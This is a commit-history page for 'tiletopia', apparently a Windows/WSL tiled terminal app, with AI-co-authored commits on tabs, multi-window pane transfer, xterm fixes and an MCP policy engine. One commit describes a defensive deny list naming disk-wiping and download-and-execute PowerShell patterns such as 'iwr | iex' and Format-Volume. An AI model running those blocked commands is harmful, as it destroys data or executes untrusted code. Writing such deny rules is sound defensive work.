Compare commits

...

120 commits
v0.2.0 ... main

Author SHA1 Message Date
738fa2e901 memory: log new claude-pane cursor-gap bug report + diagnosis plan 2026-06-11 22:50:04 +01:00
a72b2c3ff4 memory: note v0.4.1 release has wrong installer asset (0.4.0 .exe) + release.sh hardening TODO
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-02 00:07:26 +01:00
8c6aded5d8 memory: customizable terminal colors session log (v0.4.1)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-01 23:53:44 +01:00
ca97fb3733 Bump version to 0.4.1
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-01 23:49:19 +01:00
7e624a3f96 Add customizable terminal colors (global theme + per-pane overrides)
Four editable colors (background/foreground/cursor/selection) via a new
ColorPanel modal with built-in presets and live preview. Global default
persists to localStorage and syncs across windows; per-pane overrides ride
on LeafNode.colorOverride in the workspace tree. Titlebar 🎨 button edits
the global theme; per-pane 🎨 chip overrides a single pane. Subsumes the
prior uncommitted softened-foreground tweak into lib/theme.ts.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-01 23:41:19 +01:00
1febf2e096 memory: window-close crash fix VERIFIED on Windows
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-30 01:24:30 +01:00
9144ba64b6 Fix: closing any window killed all (tokio::spawn panic on close path)
The synchronous on_window_event CloseRequested handler reached
WindowsState::schedule_save -> tokio::spawn, which panics ("no reactor
running") because that callback runs on the main thread with no ambient
Tokio runtime; the unhandled main-thread panic aborted the whole
process, taking every window + PTY down. (push_window_workspaces hit the
same line safely because it's an async tauri::command.)

- window_state.rs: tokio::spawn -> tauri::async_runtime::spawn (global
  runtime, works from any thread). Verified against tauri 2.11 source.
- lib.rs: defensive .build().run() guard — prevent_exit while any window
  remains so no path can orphan live PTYs; close logging warn!->debug!.

Source-verified; pending Windows runtime test.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-30 01:09:46 +01:00
8b5f65a14a memory: session wrap-up log (cursor fix + 3 xterm features + toolbar; context bar shelved) 2026-05-29 21:03:31 +01:00
cd5500671a memory: context bar shelved (unsolvable pane↔session signal); toolbar fix kept 2026-05-28 23:48:00 +01:00
00a1e24ecf Shelve the per-pane context indicator (keep narrow-toolbar fix)
Reliable per-pane context tracking isn't achievable from transcripts: we
can't distinguish 'claude is live in this pane' from 'a shell sitting in
a directory that recently had a claude session' (claude renders inline,
not alt-screen; no WSL foreground-process access), and the 200k-vs-1M
window isn't recorded so % is unreliable. Removed the context indicator,
its OSC 7 cwd injection (pty.rs), the get_pane_context backend
(usage.rs), src/lib/usage.ts, the orchestration paneContext map, and the
App poll. The narrow-pane toolbar reflow (leaf--narrow/xnarrow tiers,
label shrink, close × pinned) is KEPT — it's verified and independent.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 23:47:06 +01:00
15c2842ce1 Context bar: loosen recency gate to 3h (10min hid idle-but-live sessions)
The match works (cwd resolves, backend has the data), but a live claude
you're actively using can sit idle far longer than 10min, so the gate was
hiding it. Loosen to 3h — suppresses only genuinely dormant directories.
Can't distinguish 'claude live here' from 'shell in a recent claude dir'
without a WSL foreground-process probe (deferred).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 23:38:13 +01:00
a1d7919537 Context bar: defer OSC7 cwd update out of render phase (was dropped)
The OSC 7 handler runs synchronously inside term.write() as PTY data is
processed, which can coincide with React's render phase — calling the
parent setState there warned 'cannot update while rendering' and the
liveCwd update was dropped, so claude panes never registered their cwd
and the bar never showed (backend data + match were fine). Defer the
onCwd call via queueMicrotask. Plus a TEMP per-pane match-decision log.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 23:19:25 +01:00
bbe827af22 TEMP: log context distros/sessions + OSC7-reported cwd for diagnosis 2026-05-28 23:14:03 +01:00
50766c3fdd memory: log OSC 7 confirmed + recency gate + absolute-token fix 2026-05-28 23:09:44 +01:00
c01a4decbf Context bar: show absolute tokens, assume 1M window (% wasn't reliable)
The transcript doesn't record the 200k-vs-1M window (model id is bare,
e.g. claude-opus-4-7; the [1m] in /context is display-only), so the
<200k→200k guess overstated the % for 1M users (a 42k session read 21%
instead of 4%). Fix: the indicator label now shows the absolute token
count (accurate regardless of window), and the fill bar assumes 1M (the
common case here; a 200k-only user would just see the bar read low while
the token number stays correct).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 23:09:15 +01:00
0358128b24 Context bar: only show for actively-written sessions (gate on recent mtime)
A bash pane sitting in a directory that once had a claude session was
lighting up with that session's stale context. Gate the indicator on the
matched session having been written within the last 10 min, so it tracks
a live claude rather than any dormant transcript in the same dir.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 23:06:30 +01:00
02d97d1520 memory: log OSC 7 live-cwd fix for the context bar (pending re-test) 2026-05-28 22:58:10 +01:00
d776f962da Context bar: match panes by live cwd via OSC 7 (was keyed on unset leaf.cwd)
The context indicator never showed because it matched on leaf.cwd, which
is almost always undefined (newLeaf sets none; the shell picker never
supplies one) — so the cwd<->transcript match never hit.

Fix: report each WSL pane's real working directory.
- pty.rs: inject PROMPT_COMMAND (forwarded via WSLENV) so the WSL shell
  emits OSC 7 (file://host/path) on every prompt. Default Ubuntu bash
  inherits an env-provided PROMPT_COMMAND; a shell that hard-assigns it,
  or a non-bash login shell, just won't report (indicator stays hidden,
  no breakage).
- XtermPane: register an OSC 7 handler, decode the path, emit onCwd.
- LeafPane: track liveCwd from onCwd and match the session on
  (liveCwd ?? leaf.cwd). OSC 7 fires at the bash prompt right before
  'claude' launches, so liveCwd is exactly claude's launch cwd; it also
  follows 'cd'.

tsc clean. Rust builds on the Windows host; needs runtime verification.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:57:53 +01:00
24ab7f067f memory: narrow-toolbar verified; context bar blocked on leaf.cwd never being set 2026-05-28 22:53:45 +01:00
20b60661cb memory: backlog 'reattach window to existing window' idea
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:44:30 +01:00
5f8e9f92c5 memory: log pivot from usage panel to per-pane context-fill indicator
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:43:24 +01:00
d951c360ae Replace token-usage panel with per-pane context-fill indicator
For a subscription user, lifetime token totals + a $ estimate aren't
actionable; how full each session's context window is right now is. So:

- Removed the UsagePanel, the titlebar 💰 chip, and Ctrl+Shift+U.
- Repurposed the transcript reader (src-tauri/src/usage.rs): get_pane_context
  returns each recent session's CURRENT context occupancy = the last
  assistant turn's input + cache_read + cache_creation tokens (the prompt
  size), instead of lifetime sums. Same UNC/$HOME/cache/recency machinery.
- src/lib/usage.ts now holds context helpers (window inference 200k vs 1M by
  whether occupancy already exceeds 200k, % , green→amber→red ramp, label).
- App polls get_pane_context (15s, visibility-gated) into a cwd→context map
  exposed via orchestration; each LeafPane looks itself up by leaf.cwd and
  renders a slim fill bar + % in its header (hidden for non-claude/unmatched
  panes).

Also fixes the narrow-pane toolbar: a ResizeObserver sets leaf--narrow /
leaf--xnarrow width tiers; the label shrinks first, split buttons / status /
secondary chips drop out by tier, and the close × + context indicator stay
pinned right and visible down to the 180px min width.

tsc clean (apart from the not-yet-installed xterm addons). Rust builds on
the Windows host; needs runtime verification.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:43:06 +01:00
b23f3d1ecb memory: log usage-panel scope/metric refinements + double-count investigation
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:26:33 +01:00
ebbf8db407 Usage panel: scope to open panes, lead with tokens, label $ as API estimate
Addresses feedback on the usage panel:
- It was summing every recent session on the distro (all projects, mounted
  + home dirs), not the open panes' work — which read as inflated/double-
  counted. (Verified there's no literal double count: every transcript is
  read once and no two project dirs share a cwd, since claude resolves
  symlinks/mounts to the real path before mangling.) Now the panel + the
  titlebar chip default to sessions whose cwd matches an open pane, with an
  'open panes / all recent' toggle to see the full per-distro list.
- Token volume is now the headline figure; the API-cost estimate is shown
  as a clearly-labeled '~$' secondary, with a footer note that it's n/a on
  a Pro/Max subscription and can't reflect /usage quota. Kept visible (not
  hidden) so it can be validated against real API billing.

Frontend-only; backend still returns the full recent set for the toggle.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:26:15 +01:00
e3c3810ba0 memory: log per-session token tracking (done, pending Windows verify)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:16:20 +01:00
e30ac461af Commit pnpm-lock for the three new xterm addons
Pins @xterm/addon-canvas 0.7.0, addon-search 0.15.0, addon-unicode11
0.8.0 (installed on the Windows host) so the deps are reproducible.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:16:03 +01:00
1df8c3181b Add per-session claude token/cost usage panel (WSL, v1)
Reads ~/.claude/projects/*.jsonl transcripts from the open WSL panes'
distros and shows per-session token counts + estimated USD cost, with a
running total in the titlebar.

Backend (src-tauri/src/usage.rs): new get_claude_usage command. For each
distro it probes $HOME once via wsl.exe, reaches the transcripts over the
\\wsl.localhost UNC share, and tallies message.usage per model per
session (summed by each line's model, since a session can switch models).
Results cached by (path,size,mtime) so polling only re-parses the file
that grew; recency-capped (30d / 50 sessions) to bound scan cost.
Windows-only; returns [] elsewhere. quiet_command made pub(crate).

Frontend: src/lib/usage.ts holds the pricing table (per-MTok rates,
matched by model-family substring) + cost/format helpers, so rates are
editable without recompiling Rust. UsagePanel.tsx mirrors the MCP panel
modal; rows whose transcript cwd matches an open pane are highlighted
with a [pane: label] tag. App polls every 20s (visible windows) for the
titlebar 💰 total and every 5s while the panel is open. Ctrl+Shift+U
opens it; added to shortcuts.ts + regenerated README.

tsc clean. Rust builds on the Windows host; needs runtime verification.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 22:15:51 +01:00
a6d3f8a9f9 memory: mark cursor fix + 3 xterm features verified on Windows
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:57:32 +01:00
1bbc6a5783 memory: mark find-in-scrollback, unicode11, pane-nav implemented (pending Windows verify)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:52:07 +01:00
baa00dfc5c Add find-in-scrollback, unicode11, and keyboard pane navigation
Three xterm.js features, implemented together because they share the
XtermPane mount + the single attachCustomKeyEventHandler:

- Unicode 11: load @xterm/addon-unicode11, set activeVersion='11' after
  the canvas renderer so emoji/CJK/box-drawing widths stop drifting.
- Find in scrollback: @xterm/addon-search + a new per-pane SearchBar
  overlay (Ctrl+Shift+F to open, Enter/Shift+Enter next/prev, regex +
  case toggles, Esc to close & refocus). Overlay is an absolutely-
  positioned sibling in a position:relative wrapper so fit() is unaffected.
- Pane navigation: Ctrl+Alt+Arrow / Ctrl+Alt+HJKL (spatial neighbour via
  findNeighborInDirection) and Alt+1..9 (Nth leaf in walkLeaves order).
  XtermPane emits a NavigateIntent; App resolves the target leaf and sets
  it active, reusing the existing isActive->focusTrigger refocus chain.

All chords live in one attachCustomKeyEventHandler (xterm replaces the
handler on each call). Shortcuts added to shortcuts.ts (SoT for README +
Help), including the Alt+digit shell-conflict caveat. tsc clean apart
from the three not-yet-installed addon modules.

Needs pnpm install on the Windows host + runtime verification.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:51:29 +01:00
8bb080345e memory: log fan-out feature research backlog (5 prioritized + parked)
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:39:23 +01:00
b5db68da8b memory: log in-app code-markup/editor-pane idea
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:32:05 +01:00
07bba99eb5 Use canvas renderer to fix stuck/ghost cursor in panes
The DOM renderer draws the cursor as a separate layered element; under
the Claude TUI's rapid cursor hide/show plus cursorBlink it leaves a
stale white block frozen where the cursor used to be. Load
@xterm/addon-canvas (composites the cursor into the text surface) with a
try/catch that falls back to the DOM renderer on init failure. Canvas
over WebGL because tiletopia runs many panes and WebView2 caps live
WebGL contexts (~16).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 21:31:59 +01:00
df159056a1 memory: log v0.4.0 release wrap-up
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 20:44:58 +01:00
5ef35e3a74 README: add tabs + multi-window to feature highlights
The at-a-glance highlights list omitted the two headline 0.4.0 features
(tabs and multi-window pane transfer); body sections already covered them.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 20:43:21 +01:00
2a1f1d41ad Bump version to 0.4.0
Tabs + multi-window pane transfer feature release.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 20:36:22 +01:00
309b6024d4 Fix XtermPane IPC listener leak on unmount-during-spawn/adopt
Pre-release audit finding: after `unlistenData = await onPaneData(...)` (and
the exit listener) there was no destroyed re-check, so if the pane unmounted
during the await the sync cleanup captured a null unlisten and the
pane://{id}/data subscription leaked. Unlisten before returning in both the
adopt and spawn paths.

Also logs the deferred (low-risk) transfer-refcount leak as a known follow-up.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 20:34:36 +01:00
e6d0040021 Fix workspace accumulation, tab-close popover, scrollbars, drag ghost
- window_state.rs: persist only the main window's workspaces. The aggregator
  flattened every window's tabs into the saved file; main then adopted the
  whole blob on launch, so detached windows' ephemeral tabs (and Pane N
  drag-out artifacts) accumulated without bound.
- TabStrip: portal the close-confirm popover to <body> with fixed,
  viewport-clamped positioning so the horizontally-scrolling strip can't clip
  it and it never runs off a window edge.
- styles.css: make themed ::-webkit-scrollbar global, not just xterm viewport.
- LeafPane: B1 drag-out ghost chip (portal, edge-pinned, orange detach state).
- App.tsx: moveToNewWindow waits briefly for pane registration instead of
  failing instantly on an in-flight spawn/adopt.
- gitignore cargo-test.lo*.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 20:24:09 +01:00
bea6cf2977 Fix detached-window IPC scoping and pane-transfer session loss
- capabilities/default.json: extend window scope to "pane-window-*" so
  detached windows can invoke/listen (fixes blank panes B2-B5).
- App.tsx: memoize the destructive take_pending_window_init read at module
  scope so React StrictMode's double mount-effect doesn't consume the
  transfer payload twice and lose the adopted PTY session.
- lib.rs: add `use tauri::Manager;` for Window::app_handle() in on_window_event.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-05-28 19:46:30 +01:00
681d15fdc3 memory.md: fix Phase 2 verify command (cargo from src-tauri/, not root)
Tauri keeps the crate in src-tauri/; cargo check from the project root
fails with "could not find Cargo.toml". Caught by the user after I
suggested the wrong cd. Added a preflight-checks rule to global
~/claude/CLAUDE.md so this generalises.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-28 19:05:29 +01:00
597f9ac9b7 Session log: tabs + multi-window pane transfer (3 phases)
Documents architecture (Rust-side transferring refcount; backend-aggregated
save; scrollback ring replay), the load-bearing Tauri facts (process-wide
event routing, shared PtyManager), and the verification steps still needed
on the Windows host.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-28 19:01:26 +01:00
6faf7e5e19 Phase 3: drag pane past window edge to detach
Extends the existing header-drag gesture (which swaps panes inside
the window) with an "outside the window" case: release the drag more
than 60px past any viewport edge and the pane detaches into a new
window via the same moveToNewWindow path the right-click menu uses.

The 60px slop avoids triggering on accidental release over the OS
titlebar / window chrome — without it any drag that ended above
clientY=0 would fire as a detach, which is wrong because that area is
still inside the user's window.

No backend changes — Phase 2's transfer mechanism already handles
everything; this just wires a second entry point.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-28 18:59:48 +01:00
8ad51787fc Phase 2: drag-/right-click-a-pane-to-new-window
Right-click any pane's title bar → "Move to new window" pops it into a
fresh tiletopia window with its PTY intact. Same Tauri process; the
PtyManager is shared, so the existing PaneId stays valid and Tauri 2's
process-wide event routing keeps pane://{id}/data flowing into the new
window's XtermPane.

Mechanism (Rust-side, plan-agent's main correction over my draft):
- pty.rs: PtyManager.transferring is a per-pane refcount; kill_pane
  becomes a no-op while it's >0. Source window's React unmount calls
  kill_pane → silently dropped while in flight; target window's
  claim_pane decrements after it has subscribed.
- window_state.rs: per-window workspaces snapshot map +
  debounced-by-tokio aggregate save. Each window pushes its tabs via
  push_window_workspaces; backend writes the merged
  { version: 2, workspaces: [...] } envelope. Non-main windows have
  their entries dropped on CloseRequested so closing a detached window
  discards its tabs (Chrome-style).
- commands: mark_pane_transferring, claim_pane, get_pane_ring (base64
  scrollback ring snapshot), create_pane_window, take_pending_window_init,
  push_window_workspaces.

Frontend:
- XtermPane gets `existingPaneId?: PaneId`: skip spawn, replay ring
  snapshot via term.write before attaching the live data listener,
  resize PTY to this window's grid, claim_pane. Scrollback replay was
  the plan agent's other ship-in-v1 call — without it a transferred
  Claude session looks blank until next prompt repaint.
- LeafPane: onContextMenu opens a fixed-positioned "Move to new
  window" popover. Esc / outside-click dismiss.
- orchestration adds moveToNewWindow + getInitialPaneIdFor; App owns a
  one-shot transferredPaneIdsRef cleared in registerPaneId.
- App mount branches on getCurrentWebviewWindow().label: main loads
  workspace.json as before; non-main calls take_pending_window_init
  and builds a singleton workspace around the adopted leaf.
- MCP mirror + onMcpRequest only run in main (paneIdByLeafRef is per-
  window; Claude sees the main window's current tab as the single
  workspace surface).

pnpm check (tsc -b) clean. 79/79 vitest pass. Rust side authored in
WSL; cargo build needs verification on Windows host before this is
runnable.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-28 18:57:31 +01:00
1a035ad0a6 Phase 1: tabbed workspaces
Each tab is an independent tile tree; PTYs in non-active tabs keep
running (render-all-panes with visibility:hidden on inactive layers
so xterm.js's fit() still sees valid dimensions and the existing
per-pane resize dedupe absorbs no-op SIGWINCHes).

workspace.json shape goes from a bare TreeNode to
`{ version: 2, workspaces: [{ id, name, tree }] }` with a legacy v1
auto-wrap migration (the old single tree becomes one tab named
"Default").

App.tsx wraps the old single-tree state in workspace-aware state
but keeps `tree` / `setTree` / `activeLeafId` / `setActiveLeafId` as
identity-stable derived wrappers (reading currentWorkspaceId from a
ref), so the bulk of App.tsx stays unchanged.

XtermPane's initial term.focus() now checks `visibility !== "hidden"`
on the container so a pane mounting inside a hidden tab on app boot
doesn't yank focus away from the active tab. The focus poller is
scoped to the active workspace layer for the same reason.

Shortcuts: Ctrl+T new tab, Ctrl+Shift+T close current (window.confirm
when there are live panes), Ctrl+PageDown/PageUp navigate, Ctrl+1..9
switch to tab N. README + help overlay auto-generated from
shortcuts.ts.

79/79 vitest pass (7 new envelope-migration cases). tsc -b clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-28 18:43:32 +01:00
c92847413b Session log: v0.3.0 shipped + release-time gotchas for next time
Closes out the session that took MCP from read-only v1 → full write
surface in v0.3.0. Notes the four release-time hiccups (tsc -b
narrowing miss, rm -rf src-tauri/target wiping the installer, pnpm
install hang from WSL, separate Cargo.lock commit) with fixes shipped
and a clean recipe for the next release.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 19:32:22 +01:00
1db8b26109 release.sh: call node directly for build:mcpb (skip pnpm install hang)
`pnpm run build:mcpb` triggers an implicit `pnpm install` first to
verify node_modules against the lockfile. From WSL against the
/mnt/d/ Windows filesystem that node_modules walk hangs for minutes.
The build-mcpb.mjs script is pure Node + fs (no deps) so we can just
invoke it directly. Saves the pnpm wrapping overhead on every release.

Caught during the v0.3.0 release run.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 19:29:53 +01:00
99b97c0c9b Cargo.lock: 0.2.3 → 0.3.0 2026-05-26 19:14:47 +01:00
7e285b27df pnpm check: use tsc -b so it catches what pnpm build catches
`tsc --noEmit` and `tsc -b` apply slightly different narrowing rules
on project-reference codebases — the prior check missed the spawn_pane
hostId narrowing bug (commit e1ceaab) that pnpm build immediately
flagged. Both tsconfig.app.json and tsconfig.node.json already set
`noEmit: true`, so `tsc -b` does no emission — the only difference
is build-mode dependency tracking + slightly stricter type checks.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 19:11:34 +01:00
e1ceaabbff Fix tsc -b error: bind narrowed SSH spawn spec to a local before closure use
buildConfirmInfo's spawn_pane case used `a.spec!.hostId` inside a
hosts.find() callback, which compiles under tsc --noEmit (what
pnpm check runs) but fails under tsc -b (what pnpm build runs):
the non-null assertion drops the kind==="ssh" narrowing the parent
ternary had established, so .hostId can't be resolved against the
WSL/PowerShell variants of the union.

Fix: bind a.spec to a local const inside the narrowed if-block so
the closure carries the SSH variant through.

Caught by pnpm tauri build during v0.3.0 release prep.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 19:06:19 +01:00
420438b494 Bump version to 0.3.0 2026-05-26 19:03:44 +01:00
3d4e0fabe5 Clear cargo warnings: drop v2.1 classifier scaffold, annotate tool_router
Three of the four dead-code warnings (`ClassifierHint`, `PolicyClassifier`,
`NoopClassifier`) were the v2.1 classifier scaffold sitting unused since
PR-1. Deleted — being unused for weeks was a stronger "no concrete plan"
signal than its presence was a "TODO" signal. Trivial to re-add when we
actually do the classifier (v0.4.0 candidate).

Fourth warning was rmcp's `#[tool_router]` macro generating internal
references to a `tool_router` field on TileService that rustc's dead-code
pass can't see through. Added `#[allow(dead_code)]` with a brief comment
on why.

`cargo build` is now clean of the four standing dead-code warnings.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 18:59:04 +01:00
139730259a README: refresh for today's shipped features (MCP v2, SSH, hard-deny)
Several sections were stale:

- Top feature list missing SSH host support, PowerShell, MCP, drag-to-swap.
- MCP section still claimed "v1 is read-only" — actually shipped 10 write
  tools (PR-1 through PR-4 today) plus three-tier policy engine, audit log,
  SSH safeguards, extraArgs sanitiser, and 14 compiled-in hard-deny patterns
  (with the rule-set rework that fixed the 9-of-10-rules-don't-actually-fire
  bug). Added a per-tool table.
- Test counts were 43 vitest cases; actual is 72 (frontend) + 138 (Rust).
  Added the `cargo test --lib` recipe and pointer to scripts/pr4-verify.mjs.
- Architecture section now covers hosts.rs / creds.rs / mcp.rs / mcp_policy.rs
  alongside pty.rs and the layout tree.

Marker block (auto-generated from shortcuts.ts) untouched.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 18:42:49 +01:00
35194cd60c release.sh: build + attach .mcpb bundle alongside the installer
The McpPanel's "Download .mcpb" button opens the Forgejo release page,
so the asset has to actually be there. release.sh now runs
`pnpm run build:mcpb` and attaches `dist-mcpb/tiletopia.mcpb` as a
second --asset to `tea releases create`.

Closes B's mcpb-into-release follow-up. Next release tag will have a
working one-click Claude Desktop install path.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 18:37:57 +01:00
50fbd0e531 Revert idle "claude foreground" filter — back to legacy 5s notify
Reverts in one combined commit:
- 9931a92 (inline pane_id + watch list into bash script)
- 6772b8d (pivot per-distro → per-pane via TILETOPIA_PANE_ID env)
- f51033a (original per-distro idle filter)

End-to-end probe never worked correctly against the real running app
even after fixing the wsl.exe-drops-positional-args bug. Probe script
ran fine in isolation but kept returning false-negative when called
through tiletopia's wsl.exe spawn. Rather than keep iterating, back
out cleanly — pane behaviour is now the original "go idle after 5s of
silence regardless of what's running."

memory.md session log notes the lessons for a future retry: don't ship
per-distro again (CLAUDE.md explicitly says multi-claude-per-distro is
the primary use case); prove the probe end-to-end before wiring into
the idle effect (a "Test probe" button in MCP panel would have caught
this in minutes).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 18:33:11 +01:00
9931a92c5f Idle probe: inline pane_id + watch list into bash script (drop positional args)
Root cause of "filter never suppresses": passing the target pane_id and
watch names as positional args to `bash -c "..." _ <id> <names>` had
them silently dropped by wsl.exe's arg-passing layer. Inside bash, $1
and $@ were empty — the script always looked for `TILETOPIA_PANE_ID=`
(no value), found nothing, exited 1.

Fix: format the script string in Rust with pane_id and watch names
already substituted. No positional args to bash → nothing for wsl.exe
to drop. Both inputs are safe to inline (u64 and a compile-time const
list); validation needed if user-supplied watch names ever land here.

Two unit tests guard against regressing to the positional-arg shape.
Also dropped the diagnostic info!() spam added during debugging — back
to debug! in the happy path, single concise probed= line on each cache
miss.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 18:25:55 +01:00
6772b8db37 Idle filter: pivot per-distro → per-pane via TILETOPIA_PANE_ID env marker
Per-distro suppression (shipped earlier today) broke tiletopia's primary
use case — multiple claude panes per distro means as soon as one runs
claude, ALL Ubuntu panes go silent. Tested live: user couldn't reproduce
idle on any pane because PID 46848 (their main session) tripped the gate.

New mechanism, per-pane via env-var marker:

1. pty.rs tags every WSL spawn with TILETOPIA_PANE_ID=<id> as a Windows
   env var, plus WSLENV=...TILETOPIA_PANE_ID/u (appended to any pre-
   existing WSLENV) so the var forwards into the distro. Pane id is now
   reserved BEFORE build_command so the tag is available at spawn time.
2. probe.rs rewritten — is_watch_process_running(distro, pane_id) runs
   a bash one-liner that pgreps for each watched name, then for each PID
   checks /proc/<pid>/environ for the matching TILETOPIA_PANE_ID line.
   Env inheritance does the work: shell inherits from wsl.exe, claude
   inherits from shell. Cache keyed by (distro, pane_id).
3. Fail-safe INVERTED: probe failure now returns false (don't suppress)
   instead of true (suppress). A transient error should never silence
   the idle indicator permanently. Frontend catch updated to match.
4. LeafPane tracks PaneId in paneIdRef set by onPaneSpawned; idle ticks
   before spawn-completion pass 0, which won't match any real marker so
   the pane idles normally.

Existing panes won't have the marker until respawned — they'll always
show idle (since probe never matches). User opens fresh panes once after
deploying this. Documented in memory.md follow-ups.

pnpm check clean. Rust validation: cargo test --lib on Windows.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 17:58:51 +01:00
d3474d33b0 README: regenerate marker block to pick up new MCP tip from shortcuts.ts
Auto-merge of the .mcpb commit captured the new tip body in shortcuts.ts
but left the old text inside the README's <!-- SHORTCUTS:START --> block.
Running pnpm gen:readme syncs them — proves the new workflow.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-26 17:37:11 +01:00
b29233a012 Add .mcpb Claude Desktop bundle with zero-config token handling
New scripts/build-mcpb.mjs packs a Claude Desktop extension bundle
(scripts/mcpb-wrapper.mjs + manifest + icon) into dist-mcpb/tiletopia.mcpb.
The wrapper reads the bearer token from %APPDATA% at launch and execs
`npx -y mcp-remote`, so no secrets are baked in and Regenerate keeps
working transparently. Run via `pnpm run build:mcpb`.

McpPanel gets a "Download .mcpb" button linking to the releases page; the
help-overlay tip and README MCP section both lead with the bundle install
path and keep the .mcp.json shim recipe as the Claude Code fallback.

Session-log entry in memory.md covers the design choices, especially why
the wrapper-script approach beat the alternatives (user_config prompt
would defeat one-click; baked-in token would be wrong for everyone else).
2026-05-26 17:36:29 +01:00
25aac634ab README: generate shortcuts table from shortcuts.ts (single source of truth)
The shortcuts table in README was hand-maintained and kept drifting from
src/lib/shortcuts.ts (the data the in-app help overlay reads). Replace the
table with a marker block (<!-- SHORTCUTS:START --> ... <!-- SHORTCUTS:END -->)
populated by scripts/gen-readme-shortcuts.mjs. Includes TIPS too, not just
shortcuts. Script is plain Node + fs (no tsx/esbuild dep); reads shortcuts.ts
as text, strips TS type syntax, dynamic-imports the resulting .mjs.

Adds `pnpm gen:readme` script and a `--check` mode that exits 1 on drift
(for future CI wiring). Idempotent.
2026-05-26 17:34:54 +01:00
f51033a142 Idle filter: suppress when watched process (claude) is running in distro
Probes wsl.exe -d <distro> -- pgrep -x claude before flagging a WSL pane
idle, with a 3s per-distro cache on the Rust side. If claude is running
anywhere in the distro, all panes in that distro stay out of the idle set
(per-pane granularity is out of scope — PIDs aren't observable from
Windows). PowerShell + SSH panes skip the probe and keep the legacy
always-notify behaviour.
2026-05-26 17:33:10 +01:00
5b970f8b48 Hard-deny: PowerShell patterns + drift-proof the label list
Four new compiled-in hard-deny rules covering PowerShell + cmd.exe
catastrophic patterns (mirror of the POSIX 10):

- Remove-Item / del / rd / ri / rm / erase / rmdir targeting C:\
  or user home / appdata
- Format-Volume / Clear-Disk with any flag (= an invocation, not a
  Get-Help lookup)
- iwr | iex pipe form (PowerShell web-to-execute)
- iex (irm ...) parenthesized form

Universal application — no shell-aware scoping yet. PS cmdlet
identifiers are distinctive enough that bash false-positives are
vanishingly unlikely. Shell-aware policy scoping remains a known
follow-up.

Drift-proof the "Always blocked" label list: backend now exposes
hard_deny_rules() via a new mcp_hard_deny_labels Tauri command, and
PolicyTab loads it at mount instead of hardcoding the list. Avoids
the 11→15 manual sync that would have been needed (and that had
already drifted twice this week).

cargo test --lib: 138 passed; 0 failed (118 prior + 20 new fuzz
cases for rules 11-14; hard_deny_rules_count bumped 10 → 14).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
